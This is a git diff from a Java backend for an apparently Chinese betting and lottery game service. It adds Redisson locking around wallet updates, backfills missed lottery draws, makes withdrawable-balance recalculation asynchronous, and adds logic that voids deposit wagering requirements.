+    public int selectBettingCount(Long userId, Date beginTime, Date endTime) {
+        //查询时间段内投注且时间断外已开奖数量
+        LambdaQueryWrapper<AppGameBetting> queryKjWrapper = new LambdaQueryWrapper<>();
+        queryKjWrapper.eq(AppGameBetting::getUserId,userId);
+        queryKjWrapper.ne(AppGameBetting::getIsWinning,0);
+        queryKjWrapper.between(AppGameBetting::getCreateTime,beginTime,endTime);
+        queryKjWrapper.gt(AppGameBetting::getUpdateTime,endTime);//开奖时间大于结束时间
+        Long count = appGameBettingMapper.selectCount(queryKjWrapper);
+        if(null == count){
+            count = 0L;
+        }
+        //查询时间段内投注且时间断外未开奖数量
+        LambdaQueryWrapper<AppGameBetting> queryWKjWrapper = new LambdaQueryWrapper<>();
+        queryWKjWrapper.eq(AppGameBetting::getUserId,userId);
+        queryWKjWrapper.eq(AppGameBetting::getIsWinning,0);
+        queryWKjWrapper.between(AppGameBetting::getCreateTime,beginTime,endTime);
+        Long wkjCount = appGameBettingMapper.selectCount(queryWKjWrapper);
+        if(null != wkjCount){
+            count += wkjCount;
+        }
+        return count.intValue();
+    }
+
 
 }

+ 1 - 1
game-business/src/main/java/com/game/business/service/impl/AppGameItemMultipleServiceImpl.java

@@ -37,7 +37,7 @@ public class AppGameItemMultipleServiceImpl extends ServiceImpl<AppGameItemMulti
     public List<AppGameItemMultiple> getAppGameItemMultipleList(Long gameId) {
         LambdaQueryWrapper<AppGameItemMultiple> queryWrapper = new LambdaQueryWrapper<>();
         queryWrapper.eq(AppGameItemMultiple::getGameId, gameId);
-        queryWrapper.orderByDesc(AppGameItemMultiple::getGameDate);
+        queryWrapper.orderByDesc(AppGameItemMultiple::getCreateTime).orderByDesc(AppGameItemMultiple::getGameDate);
         queryWrapper.last(" limit 2100");
         return appGameItemMultipleMapper.selectList(queryWrapper);
     }

+ 95 - 0
game-business/src/main/java/com/game/business/service/impl/AppGameLotteryServiceImpl.java

@@ -1,13 +1,19 @@
 package com.game.business.service.impl;
 
+import cn.hutool.core.date.DateUtil;
 import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
 import com.baomidou.mybatisplus.core.toolkit.Wrappers;
 import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;
+import com.game.business.domain.AppGame;
 import com.game.business.domain.AppGameLottery;
 import com.game.business.mapper.AppGameLotteryMapper;
 import com.game.business.service.IAppGameLotteryService;
+import com.game.business.service.IAppGameService;
+import org.apache.commons.lang3.StringUtils;
+import org.springframework.beans.BeanUtils;
 import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.stereotype.Service;
+import java.util.Date;
 
 import java.util.List;
 
@@ -17,6 +23,9 @@ public class AppGameLotteryServiceImpl extends ServiceImpl<AppGameLotteryMapper,
     @Autowired
     private AppGameLotteryMapper appGameLotteryMapper;
 
+    @Autowired
+    private IAppGameService gameService;
+
     @Override
     public long selectCount(Long classId, Long gameId, String gameDate) {
         LambdaQueryWrapper<AppGameLottery> queryLotteryWrapper = Wrappers.lambdaQuery();;
@@ -116,4 +125,90 @@ public class AppGameLotteryServiceImpl extends ServiceImpl<AppGameLotteryMapper,
     public int deleteAppGameLotteryById(Long id) {
         return appGameLotteryMapper.deleteAppGameLotteryById(id);
     }
+
+    @Override
+    public void leakLottery() {
+        String time = DateUtil.format(DateUtil.offsetMinute(new Date(), -5),"yyyy-MM-dd HH:mm:ss");
+        List<AppGameLottery> list = appGameLotteryMapper.selectLeakLottery(time);
+        if(null != list && list.size() > 0) {
+            list.forEach(e->{
+                if(null != e.getGameId() && StringUtils.isNotBlank( e.getGameDate())){
+                    LambdaQueryWrapper<AppGameLottery> queryWrapper = new LambdaQueryWrapper<>();
+                    queryWrapper.eq(AppGameLottery::getGameId, e.getGameId());
+                    queryWrapper.eq(AppGameLottery::getGameDate, e.getGameDate());
+                    if(null == appGameLotteryMapper.selectOne(queryWrapper)){
+                        AppGameLottery insert = new AppGameLottery();
+                        BeanUtils.copyProperties(e,insert);
+                        insert.setId(null);
+                        insert.setIsLottery(0);//设置为未开奖
+                        insertAppGameLottery(insert);
+                    }
+                }
+            });
+        }
+        List<AppGameLottery> list2 = appGameLotteryMapper.selectLeakLottery2(time);
+        if(null != list2 && list2.size() > 0) {
+            list2.forEach(e->{
+                if(null != e.getGameId() && StringUtils.isNotBlank( e.getGameDate())){
+                    LambdaQueryWrapper<AppGameLottery> queryWrapper = new LambdaQueryWrapper<>();
+                    queryWrapper.eq(AppGameLottery::getGameId, e.getGameId());
+                    queryWrapper.eq(AppGameLottery::getGameDate, e.getGameDate());
+                    if(null == appGameLotteryMapper.selectOne(queryWrapper)){
+                        AppGameLottery insert = new AppGameLottery();
+                        BeanUtils.copyProperties(e,insert);
+                        insert.setId(null);
+                        insert.setIsLottery(0);//设置为未开奖
+                        insertAppGameLottery(insert);
+                    }
+                }
+            });
+        }
+    }
+
+    @Override
+    public AppGameLottery leakInfo(Long id) {
+        AppGameLottery reslut = null;
+        AppGameLottery appGameLottery = selectAppGameLotteryById(id);
+        if(null == appGameLottery){
+            return reslut;
+        }
+        reslut = new AppGameLottery();
+        BeanUtils.copyProperties(appGameLottery,reslut);
+        AppGameLottery history = appGameLotteryMapper.leakInfo(reslut.getGameId(),reslut.getGameDate());
+        if(null != history){
+            reslut.setGameLotterySucc(history.getGameLotterySucc());
+        }else{
+            AppGameLottery history2 = appGameLotteryMapper.leakInfo2(reslut.getGameId(),reslut.getGameDate());
+            if(null != history2){
+                reslut.setGameLotterySucc(history2.getGameLotterySucc());
+            }
+        }
+        return reslut;
+    }
+
+    @Override
+    public Date getLeakDate(Long gameId, String gameDate) {
+        Date curGameDate = null;
+        AppGameLottery history = appGameLotteryMapper.leakInfo(gameId,gameDate);
+        if(null != history && history.getIsLottery().intValue() != 0){
+            curGameDate = history.getGameRecordDate();
+        }else{
+            AppGameLottery history2 = appGameLotteryMapper.leakInfo2(gameId,gameDate);
+            if(null != history2 && history2.getIsLottery().intValue() != 0){
+                curGameDate = history2.getGameRecordDate();
+            }else{
+                String time = DateUtil.format(new Date(),"yyyy-").concat(gameDate);
+                if(time.split("\\:").length > 2){
+                    curGameDate = DateUtil.parse(time,"yyyy-MM-dd HH:mm:ss");
+                }else{
+                    curGameDate = DateUtil.parse(time,"yyyy-MM-dd HH:mm");
+                }
+                AppGame game = gameService.selectAppGameById(gameId);
+                if(null != game && StringUtils.isNotBlank(game.getGameExpand1())){
+                    curGameDate = DateUtil.offsetSecond(curGameDate,Integer.parseInt(game.getGameExpand1()));
+                }
+            }
+        }
+        return curGameDate;
+    }
 }

+ 5 - 0
game-business/src/main/java/com/game/business/service/impl/AppUserAgentServiceImpl.java

@@ -18,6 +18,7 @@ import com.game.business.dto.AppAgentTeamDto;
 import com.game.business.dto.AppUserTeamTranserDto;
 import com.game.business.service.*;
 import com.game.business.vo.AppAgentTeamVo;
+import com.game.business.vo.AppGameCommissionVO;
 import com.game.common.constant.AppSceneType;
 import com.game.common.constant.finance.FinTranAddedInfo;
 import com.game.common.constant.finance.FinTranType1;
@@ -238,6 +239,7 @@ public class AppUserAgentServiceImpl extends ServiceImpl<AppUserAgentMapper, App
                                 commission.setPid(e.getPid());
                             }
                         });
+
                         e.setGameCommissionList(commissionList);
                     }else if(null != gameList && gameList.size() > 0){
                         e.setGameCommissionList(gameList.stream().map(j->{
@@ -250,6 +252,9 @@ public class AppUserAgentServiceImpl extends ServiceImpl<AppUserAgentMapper, App
                             return gameCommission;
                         }).collect(Collectors.toList()));
                     }
+
+                    e.setGameCommissionList(e.getGameCommissionList().stream().sorted(Comparator.comparingLong(AppGameCommission::getGameId)).collect(Collectors.toList()));
+
                     if(!teamDto.getPid().equals(e.getUserId())) {
                         //非当前用户则统计整条线用户数据
                         List<AppUserCount> appUserCountList = appUserCountService.getAppUserCountNew(e.getUserId(), teamDto.getBeginTime(), teamDto.getEndTime());

+ 6 - 4
game-business/src/main/java/com/game/business/service/impl/AppUserCountDividendServiceImpl.java

@@ -186,11 +186,13 @@ public class AppUserCountDividendServiceImpl extends ServiceImpl<AppUserCountDiv
             return HttpRet.fail("发放失败,不存在或已发放");
         }*/
         AppUser user = appUserService.selectAppUserByUserid(sendUserId);
-        if(user.getDiamondCoin() < dividendList.stream().mapToDouble(e->e.getDiamondCoin()).sum()){
-            return HttpRet.fail("发放失败,余额不足");
+        double totalAmount = dividendList.stream().mapToDouble(e->e.getDiamondCoin()).sum();
+        if(user.getDiamondCoin() < totalAmount){
+            return HttpRet.fail("发放失败,余额不足,还差" + (totalAmount - user.getDiamondCoin()));
         }
-        if(user.getCoin() < dividendList.stream().mapToDouble(e->e.getCoin()).sum()){
-            return HttpRet.fail("发放失败,金币不足");
+        double coinTotal = dividendList.stream().mapToDouble(e->e.getCoin()).sum();
+        if(user.getCoin() < coinTotal){
+            return HttpRet.fail("发放失败,金币不足, 还差" + (coinTotal - user.getCoin()));
         }
         List<Long> userIds = new ArrayList<>();
         userIds.add(sendUserId);

+ 5 - 0
game-business/src/main/java/com/game/business/service/impl/AppUserCountServiceImpl.java

@@ -169,6 +169,11 @@ public class AppUserCountServiceImpl extends ServiceImpl<AppUserCountMapper, App
         String endTimeStr = DateUtil.format(curDate,"yyyy-MM-dd HH:mm:ss");*/
         List<AppGameBetting> gameBettingList = appGameBettingService.selectListIsWinByDate(null, null, null,gameId,gameDate);
         if (null != gameBettingList && gameBettingList.size() > 0) {
+            boolean flag = redisCache.redisTemplate.opsForValue().setIfAbsent("app_game_lotty_"+gameId + "_" + gameDate,DateUtil.format(new Date(),"yyyy-MM-dd HH:ss:mm"),1,TimeUnit.DAYS);
+            if(!flag){
+                log.info("游戏{},期号{},当日已统计过,跳过统计",gameId,gameDate);
+                return;
+            }
             String finalDateTime = dateTime;
             Date finalCurDate = curDate;
             List<Long> userIds = gameBettingList.stream().map(AppGameBetting::getUserId).distinct().collect(Collectors.toList());

+ 30 - 3
game-business/src/main/java/com/game/business/service/impl/AppUserServiceImpl.java

@@ -183,9 +183,11 @@ public class AppUserServiceImpl extends ServiceImpl<AppUserMapper, AppUser> impl
         int finRes = 0;
         RLock rLock = redisson.getLock("app_user_amount_".concat(String.valueOf(finTranRecord.getUid())));
         boolean tryLock = false;
+        boolean hasLock = false;
         try {
             tryLock = rLock.tryLock(10L,10L, TimeUnit.SECONDS); //等待10秒 最多持有锁10秒
             if(tryLock){
+                hasLock = true;
                 AppUser appUser = appUserMapper.selectAppUserByUserid(finTranRecord.getUid());
                 if(null != appUser){
                     AppUser updateAppUser = new AppUser();
@@ -223,17 +225,19 @@ public class AppUserServiceImpl extends ServiceImpl<AppUserMapper, AppUser> impl
                     }
                 }
             }else{
-                log.info("用户{}钱包更新失败:{}",finTranRecord.getUid(),tryLock);
+                //获取锁失败则递归再次调用
+                log.info("更新钱包等待超时,再次重试");
+                updateUserAmount(finTranRecord,withdrawAble,coinCashFlag);
             }
         } catch (InterruptedException e) {
             log.info("用户{}钱包更新失败:{}",finTranRecord.getUid(),e);
         } finally {
-            if(finRes < 1){
+            if(finRes < 1 && hasLock){
                 String params = "";
                 if(null != finTranRecord){
                     params = JSONObject.toJSONString(finTranRecord);
                 }
-                log.info("res:{},finRes:{},更新失败:{}",res,finRes,params);
+                log.info("res:{},finRes:{},更新失败:{},hasLock",res,finRes,params,hasLock);
                 throw new ServiceException("更新失败");
             }
             rLock.unlock();
@@ -259,6 +263,29 @@ public class AppUserServiceImpl extends ServiceImpl<AppUserMapper, AppUser> impl
         return appUserMapper.selectOffLineUser();
     }
 
+    @Override
+    @DataSource(DataSourceType.SLAVE)
+    public AppUser getUserAsset(Long userId) {
+        RLock rLock = redisson.getLock("app_user_amount_".concat(String.valueOf(userId)));
+        boolean tryLock = false;
+        try {
+            tryLock = rLock.tryLock(10L, 10L, TimeUnit.SECONDS); //等待10秒 最多持有锁10秒
+            if(tryLock){
+                AppUser appUser = selectAppUserByUserid(userId);
+                return appUser;
+            }else{
+                return getUserAsset(userId);
+            }
+        }catch (Exception e){
+            log.info("获取用户资产出错:{}",e);
+            return null;
+        }finally {
+            if(null != rLock){
+                rLock.unlock();
+            }
+        }
+    }
+
     @Override
     @DataSource(DataSourceType.SLAVE)
     public ApiUserInfoVo getUserInfo(Long userId) {

+ 7 - 0
game-business/src/main/java/com/game/business/service/impl/AppUsersChargeServiceImpl.java

@@ -10,6 +10,7 @@ import java.util.Date;
 import java.util.List;
 
 import com.game.business.vo.AppRechargeConfigVo;
+import com.game.business.vo.RechargeSumVo;
 import com.game.common.annotation.DataSource;
 import com.game.common.enums.DataSourceType;
 import com.game.common.utils.DateUtils;
@@ -170,4 +171,10 @@ public class AppUsersChargeServiceImpl extends ServiceImpl<AppUsersChargeMapper,
         }
         return configVo;
     }
+
+    @Override
+    @DataSource(DataSourceType.SLAVE)
+    public RechargeSumVo selectRechargeSum(AppUsersCharge appUsersCharge) {
+        return appUsersChargeMapper.selectRechargeSum(appUsersCharge);
+    }
 }

+ 35 - 2
game-business/src/main/java/com/game/business/service/impl/FinTranRecordServiceImpl.java

@@ -1,6 +1,7 @@
 package com.game.business.service.impl;
 
 import cn.hutool.core.date.DateUtil;
+import cn.hutool.core.thread.ThreadUtil;
 import com.alibaba.fastjson2.JSONObject;
 import com.baomidou.dynamic.datasource.annotation.DSTransactional;
 import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
@@ -21,6 +22,7 @@ import com.game.business.service.ICfgCommonService;
 import com.game.business.task.AppUserCountTask;
 import com.game.business.util.Md5Utils;
 import com.game.business.vo.FinTranVo;
+import com.game.business.vo.RechargeAmountVo;
 import com.game.common.annotation.DataSource;
 import com.game.common.constant.AppSceneType;
 import com.game.common.constant.finance.*;
@@ -241,7 +243,9 @@ public class FinTranRecordServiceImpl extends ServiceImpl<FinTranRecordMapper, F
         redisCache.deleteObject("U:UserInfo:".concat(String.valueOf(appUser.getUserid())));
         redisCache.deleteObject("U:UserInfo:".concat(String.valueOf(toAppUser.getUserid())));
         //更新用户可提现余额
-        appUserCountTask.updateWithdrawAble(appUser.getUserid());
+        ThreadUtil.execAsync(()->{
+            appUserCountTask.updateWithdrawAble(appUser.getUserid());
+        });
         return HttpRet.success("转账成功",true);
     }
 
@@ -291,7 +295,9 @@ public class FinTranRecordServiceImpl extends ServiceImpl<FinTranRecordMapper, F
         redisCache.deleteObject("U:UserInfo:".concat(String.valueOf(appUser.getUserid())));
         redisCache.deleteObject("U:UserInfo:".concat(String.valueOf(toAppUser.getUserid())));
         //更新用户可提现余额
-        appUserCountTask.updateWithdrawAble(appUser.getUserid());
+        ThreadUtil.execAsync(()->{
+            appUserCountTask.updateWithdrawAble(appUser.getUserid());
+        });
         return HttpRet.success("转账成功",true);
     }
 
@@ -366,6 +372,9 @@ public class FinTranRecordServiceImpl extends ServiceImpl<FinTranRecordMapper, F
         }
         jsonObject.put("withdrawByDateSum", withdrawByDateSum);
 
+        //金币分类统计
+        List<Map<String, Object>> coinTypeSum =  finTranRecordMapper.getCoinTypeByDateSum(finTranRecordDTO);
+        jsonObject.put("coinTypeSum", coinTypeSum);
         return jsonObject;
     }
 
@@ -435,4 +444,28 @@ public class FinTranRecordServiceImpl extends ServiceImpl<FinTranRecordMapper, F
     public Double sumUserTran(Integer type1, String type3s, Long userId, Date beginDate, Date endDate, Integer withDrawFlag) {
         return finTranRecordMapper.sumUserTran(type1,type3s,userId,beginDate,endDate,withDrawFlag);
     }
+
+    @Override
+    @DataSource(DataSourceType.SLAVE)
+    public Double sumUserRechareTran(Long userId, Date beginDate, Date endDate) {
+        return finTranRecordMapper.sumUserRechareTran(userId,beginDate,endDate);
+    }
+
+    @Override
+    @DataSource(DataSourceType.SLAVE)
+    public Map<String, Double> selectExChangeSum(FinTranRecordDTO recordDTO) {
+        return finTranRecordMapper.selectExChangeSum(recordDTO);
+    }
+
+    @Override
+    @DataSource(DataSourceType.SLAVE)
+    public RechargeAmountVo selectRechargeAmount(Long userId, Integer withdrawFlag) {
+        return finTranRecordMapper.selectRechargeAmount(userId,withdrawFlag);
+    }
+
+    @Override
+    @DataSource(DataSourceType.SLAVE)
+    public Date selectRechargeDate(Long userId, Integer withdrawFlag) {
+        return finTranRecordMapper.selectRechargeDate(userId,withdrawFlag);
+    }
 }

+ 11 - 4
game-business/src/main/java/com/game/business/task/AppGameBettingTask.java

@@ -1,5 +1,6 @@
 package com.game.business.task;
 
+import cn.hutool.core.thread.ThreadUtil;
 import com.alibaba.fastjson.JSON;
 import com.alibaba.fastjson2.JSONArray;
 import com.alibaba.fastjson2.JSONObject;
@@ -80,7 +81,7 @@ public class AppGameBettingTask {
             }
         }
 
-        if(type == null){
+        if(type == null || type == 0){
 //            System.out.println("游戏socket推送类型为空。");
             return;
         }
@@ -155,6 +156,7 @@ public class AppGameBettingTask {
                     appGameItemMultiple.setGameId(appGame.getId());
                     appGameItemMultiple.setGameDate(gameDate);
                     appGameItemMultiple.setItemMultiple(gameLotteryBet.substring(1, gameLotteryBet.length() - 1));
+                    appGameItemMultiple.setCreateTime(new Date());
                     appGameItemMultipleService.save(appGameItemMultiple);
                 }
 
@@ -244,8 +246,10 @@ public class AppGameBettingTask {
             }
 
             AppGame appGame = codeGameMap.get(gameCode).get(0);
-            appGame.setGameTime(time);
-            appGameService.updateAppGame(appGame);
+            AppGame updateNew = new AppGame();
+            updateNew.setId(appGame.getId());
+            updateNew.setGameTime(time);
+            appGameService.updateAppGame(updateNew);
             return;
         }
 
@@ -412,7 +416,10 @@ public class AppGameBettingTask {
 
         //更新可提现余额
         for(String userId : userIds) {
-            appUserCountTask.updateWithdrawAble(Long.parseLong(userId));
+            ThreadUtil.execAsync(()->{
+                appUserCountTask.updateWithdrawAble(Long.parseLong(userId));
+            });
+
         }
     }
 

+ 4 - 1
game-business/src/main/java/com/game/business/task/AppGameLotteryTask.java

@@ -1,5 +1,6 @@
 package com.game.business.task;
 
+import cn.hutool.core.thread.ThreadUtil;
 import com.alibaba.fastjson.JSON;
 import com.alibaba.fastjson2.JSONObject;
 import com.baomidou.dynamic.datasource.annotation.DSTransactional;
@@ -59,7 +60,9 @@ public class AppGameLotteryTask {
 
         //更新可提现余额
         for(String userId : userIds) {
-            appUserCountTask.updateWithdrawAble(Long.parseLong(userId));
+            ThreadUtil.execAsync(()->{
+                appUserCountTask.updateWithdrawAble(Long.parseLong(userId));
+            });
         }
     }
 

+ 148 - 55
game-business/src/main/java/com/game/business/task/AppUserCountTask.java

@@ -20,6 +20,8 @@ import com.game.common.utils.DateUtils;
 import com.game.common.utils.StringUtils;
 import com.game.system.service.ISysConfigService;
 import lombok.extern.log4j.Log4j2;
+import org.redisson.api.RLock;
+import org.redisson.api.RedissonClient;
 import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.beans.factory.annotation.Value;
 import org.springframework.stereotype.Component;
@@ -76,6 +78,9 @@ public class AppUserCountTask {
     @Value("${task.switch}")
     private Boolean taskSwitch;
 
+    @Autowired
+    private RedissonClient redissonClient;
+
 
     /**
      * 统计用户前一天
@@ -604,7 +609,7 @@ public class AppUserCountTask {
                 int i = 1;
                 List<FinTranRecord> dealTranList = new ArrayList<>();
                 for (FinTranRecord tranRecord : userChargeList) {
-                    dealTranList.add(tranRecord);
+//                    dealTranList.add(tranRecord);
                     if (null == beginDate){
                         beginDate = tranRecord.getCreateTime();
                     }
@@ -619,7 +624,13 @@ public class AppUserCountTask {
                     if(null != appUsersCharge && null != appUsersCharge.getCoinGive()){
                         money += appUsersCharge.getCoinGive().doubleValue();
                     }
-                    dealTran(dealTranList,beginDate,endDate,uid,money);
+                    dealTranList.add(tranRecord);
+                    boolean flag = dealTran(dealTranList,beginDate,endDate,uid,money);
+                    if(flag){
+                        beginDate = null;
+                        money = 0.00;
+                        dealTranList.clear();
+                    }
                     i++;
                 }
 
@@ -628,10 +639,43 @@ public class AppUserCountTask {
         }
     }
 
-    private void dealTran(List<FinTranRecord> userChargeList,Date beginDate,Date endDate,Long userId,Double money){
+    private boolean dealTran(List<FinTranRecord> userChargeList,Date beginDate,Date endDate,Long userId,Double money){
+        boolean flag = false;
         //查询用户这段时间流水记录
         String type3s = FinTranType3.CONSUM_GAME_ANCHOR_ZHUANPAN.getType() + "," + FinTranType3.CONSUM_GAME_ANCHOR_WITHDRAW.getType();
         List<FinTranRecord> curTranList = finTranRecordService.selectUserTran(null,type3s,userId,beginDate,endDate,0);
+        //获取用户资产
+        AppUser appUser = appUserService.getUserAsset(userId);
+        //查询是否有该时间段以外的开奖
+        int count = appGameBettingService.selectBettingCount(userId,beginDate,endDate);
+        //资产为0 则充值两倍流水条件设为已作废
+        if(null != appUser && appUser.getDiamondCoin().doubleValue() <= 0 && count < 1){
+            //更新为已满足提现
+//            userChargeList.forEach(e->{
+                /*FinTranRecord updateTran = new FinTranRecord();
+                updateTran.setId(tranRecord.getId());
+                updateTran.setWithdrawFlag(2);
+                finTranRecordService.updateFinTranRecord(updateTran);
+                log.info("用户{},流水单号:{} 因金额已使用完,该笔订单流水条件已作废",userId,tranRecord.getId());*/
+                flag = true;
+                //将本次之前的充值订单置为已作废
+                dealRechare(userChargeList,userId);
+//            });
+        }else{
+            //查询本次充值到下次充值期间资产除去返佣后是否已归零
+            double amount  = finTranRecordService.sumUserRechareTran(userId,beginDate,endDate);
+            if(amount <= 0 && count < 1){
+               /* FinTranRecord updateTran = new FinTranRecord();
+                updateTran.setId(tranRecord.getId());
+                updateTran.setWithdrawFlag(2);
+                finTranRecordService.updateFinTranRecord(updateTran);
+                log.info("用户{},流水单号:{} 因充值金额已使用完,该笔订单流水条件已作废",userId,tranRecord.getId());*/
+                flag = true;
+                //将本次之前的充值订单置为已作废
+                dealRechare(userChargeList,userId);
+
+            }
+        }
         if(null != curTranList && curTranList.size() > 0){
             //筛选投注流水
             double bettingAmount = curTranList.stream().filter(e->
@@ -646,10 +690,14 @@ public class AppUserCountTask {
                     updateTran.setWithdrawFlag(1);
                     finTranRecordService.updateFinTranRecord(updateTran);
                 });
+                flag = true;
                 //更新可提现余额
                 updateWithdrawAble(userId);
             }
+        }else{
+            log.info("用户{},充值:{} 已满足流水:{}",userId,money,0.00);
         }
+        return flag;
     }
 
     /**
@@ -671,60 +719,38 @@ public class AppUserCountTask {
         if(null != chargeList && chargeList.size() > 0){
             Map<Long, List<FinTranRecord>> chargeMap = chargeList.stream().collect(Collectors.groupingBy(FinTranRecord::getUid));
             for(Long uid : chargeMap.keySet()) {
-                int i = 1;
-                double withdrawAble = 0;
-                List<FinTranRecord> tranRecordList = chargeMap.get(uid);
-                tranRecordList = tranRecordList.stream().sorted(Comparator.comparing(FinTranRecord::getCreateTime)).collect(Collectors.toList());
-                Date beginDate = null;
-                Date endDate = null;
-                for (FinTranRecord finTranRecord : tranRecordList) {
-                    if(null == beginDate) {
-                        beginDate = finTranRecord.getCreateTime();
-                    }
-                    if (tranRecordList.size() > i) {
-                        endDate = new Date(chargeList.get(i).getCreateTime().getTime() - 1);
-                    }else{
-                        //查询用户是否还有未满足提现的充值
-                        List<FinTranRecord> curChargeList = finTranRecordService.selectUserTran(FinTranType1.U_Income_Coin_Balance.getType(),chargeType3,finTranRecord.getUid(),finTranRecord.getCreateTime(),null,0);
-                        if(null != curChargeList && curChargeList.size() > 0){
-                            endDate = curChargeList.get(0).getCreateTime();
-                        }else{
-                            endDate = new Date();
-                        }
-
-                    }
-                    i++;
-
-                }
-                //查询用户这段时间流水记录
-                /*List<FinTranRecord> curTranList = finTranRecordService.selectUserTran(null, null, uid, null, endDate, null);
-                withdrawAble += curTranList.stream().filter(e->FinTranType3.CONSUM_GAME_ANCHOR_WITHDRAW.getType()!=e.getTranType3().intValue()).mapToDouble(FinTranRecord::getDiamondCoinChange).sum();*/
-                withdrawAble = finTranRecordService.sumUserTran(null, null, uid, null, endDate, null);
-                AppUser updateUser = new AppUser();
-                updateUser.setUserid(uid);
-                updateUser.setWithdrawAble(withdrawAble);
-                appUserService.updateAppUser(updateUser);
-                log.info("用户{},可提现额度{}",uid,withdrawAble);
-                //清除用户缓存
-                redisCache.deleteObject("U:UserInfo:".concat(String.valueOf(uid)));
+                dealWithdraw(uid,chargeMap,chargeList,chargeType3);
             }
         }else if(null != userId){
-            //查询所有未满足提现的充值、转账
-            List<FinTranRecord> notchargeList = finTranRecordService.selectUserTran(FinTranType1.U_Income_Coin_Balance.getType(),chargeType3,userId,null,null,0);
-            if(null != notchargeList && notchargeList.size() > 0) {
-                log.info("用户{},有为满足提现订单,停止更新可提现余额",userId);
-            }else{
-                //查询用户这段时间流水记录
-               /* List<FinTranRecord> curTranList = finTranRecordService.selectUserTran(null, null, userId, null, null, null);
-                double withdrawAble = curTranList.stream().filter(e->FinTranType3.CONSUM_GAME_ANCHOR_WITHDRAW.getType()!=e.getTranType3().intValue()).mapToDouble(FinTranRecord::getDiamondCoinChange).sum();*/
-                double withdrawAble = finTranRecordService.sumUserTran(null, null, userId, null, null, null);
-                AppUser updateUser = new AppUser();
-                updateUser.setUserid(userId);
-                updateUser.setWithdrawAble(withdrawAble);
-                appUserService.updateAppUser(updateUser);
-                log.info("用户{},可提现额度{}",userId,withdrawAble);
-                //清除用户缓存
-                redisCache.deleteObject("U:UserInfo:".concat(String.valueOf(userId)));
+            RLock rLock = redissonClient.getLock("app_user_amount_".concat(String.valueOf(userId)));
+            boolean tryLock = false;
+            try {
+                tryLock = rLock.tryLock(20,10, TimeUnit.SECONDS);
+            } catch (InterruptedException e) {
+                log.info("更新用户可提现余额失败:{}",e);
+                throw new RuntimeException(e);
+            }
+            if(tryLock){
+                //查询所有未满足提现的充值、转账
+                List<FinTranRecord> notchargeList = finTranRecordService.selectUserTran(FinTranType1.U_Income_Coin_Balance.getType(),chargeType3,userId,null,null,0);
+                if(null != notchargeList && notchargeList.size() > 0) {
+                    log.info("用户{},有为满足提现订单,停止更新可提现余额",userId);
+                }else{
+                    //查询用户这段时间流水记录
+                   /* List<FinTranRecord> curTranList = finTranRecordService.selectUserTran(null, null, userId, null, null, null);
+                    double withdrawAble = curTranList.stream().filter(e->FinTranType3.CONSUM_GAME_ANCHOR_WITHDRAW.getType()!=e.getTranType3().intValue()).mapToDouble(FinTranRecord::getDiamondCoinChange).sum();*/
+                    double withdrawAble = finTranRecordService.sumUserTran(null, null, userId, null, null, null);
+                    AppUser updateUser = new AppUser();
+                    updateUser.setUserid(userId);
+                    updateUser.setWithdrawAble(withdrawAble);
+                    appUserService.updateAppUser(updateUser);
+                    log.info("用户{},可提现额度{}",userId,withdrawAble);
+                    //清除用户缓存
+                    redisCache.deleteObject("U:UserInfo:".concat(String.valueOf(userId)));
+                    if(null != rLock){
+                        rLock.unlock();
+                    }
+                }
             }
         }
     }
@@ -757,4 +783,71 @@ public class AppUserCountTask {
             });
         }
     }
+
+    private void dealRechare(List<FinTranRecord> userChargeList,Long userId){
+        if(null != userChargeList && userChargeList.size() > 0) {
+            userChargeList.forEach(e -> {
+                FinTranRecord updateTran2 = new FinTranRecord();
+                updateTran2.setId(e.getId());
+                updateTran2.setWithdrawFlag(2);
+                finTranRecordService.updateFinTranRecord(updateTran2);
+                log.info("用户{},流水单号:{} 因金额已使用完,该笔订单流水条件已作废", userId, e.getId());
+            });
+//            userChargeList.clear();
+        }
+    }
+
+    private void dealWithdraw(Long uid,Map<Long, List<FinTranRecord>> chargeMap,List<FinTranRecord> chargeList,String chargeType3){
+        RLock rLock = redissonClient.getLock("app_user_amount_".concat(String.valueOf(uid)));
+        boolean tryLock = false;
+        try {
+            tryLock = rLock.tryLock(10,10, TimeUnit.SECONDS);
+        } catch (InterruptedException e) {
+            log.info("更新提现余额失败: {}",e);
+            throw new RuntimeException(e);
+        }
+        if(tryLock) {
+            int i = 1;
+            double withdrawAble = 0;
+            List<FinTranRecord> tranRecordList = chargeMap.get(uid);
+            tranRecordList = tranRecordList.stream().sorted(Comparator.comparing(FinTranRecord::getCreateTime)).collect(Collectors.toList());
+            Date beginDate = null;
+            Date endDate = null;
+            for (FinTranRecord finTranRecord : tranRecordList) {
+                if (null == beginDate) {
+                    beginDate = finTranRecord.getCreateTime();
+                }
+                if (tranRecordList.size() > i) {
+                    endDate = new Date(chargeList.get(i).getCreateTime().getTime() - 1);
+                } else {
+                    //查询用户是否还有未满足提现的充值
+                    List<FinTranRecord> curChargeList = finTranRecordService.selectUserTran(FinTranType1.U_Income_Coin_Balance.getType(), chargeType3, finTranRecord.getUid(), finTranRecord.getCreateTime(), null, 0);
+                    if (null != curChargeList && curChargeList.size() > 0) {
+                        endDate = curChargeList.get(0).getCreateTime();
+                    } else {
+                        endDate = new Date();
+                    }
+
+                }
+                i++;
+
+            }
+            //查询用户这段时间流水记录
+                    /*List<FinTranRecord> curTranList = finTranRecordService.selectUserTran(null, null, uid, null, endDate, null);
+                    withdrawAble += curTranList.stream().filter(e->FinTranType3.CONSUM_GAME_ANCHOR_WITHDRAW.getType()!=e.getTranType3().intValue()).mapToDouble(FinTranRecord::getDiamondCoinChange).sum();*/
+            withdrawAble = finTranRecordService.sumUserTran(null, null, uid, null, endDate, null);
+            AppUser updateUser = new AppUser();
+            updateUser.setUserid(uid);
+            updateUser.setWithdrawAble(withdrawAble);
+            appUserService.updateAppUser(updateUser);
+            log.info("用户{},可提现额度{}", uid, withdrawAble);
+            //清除用户缓存
+            redisCache.deleteObject("U:UserInfo:".concat(String.valueOf(uid)));
+            if(null != rLock){
+                rLock.unlock();
+            }
+        }else{
+            dealWithdraw(uid,chargeMap,chargeList,chargeType3);
+        }
+    }
 }

+ 24 - 0
game-business/src/main/java/com/game/business/vo/RechargeAmountVo.java

@@ -0,0 +1,24 @@
+package com.game.business.vo;
+
+import io.swagger.annotations.ApiModelProperty;
+import lombok.Data;
+
+import java.io.Serializable;
+
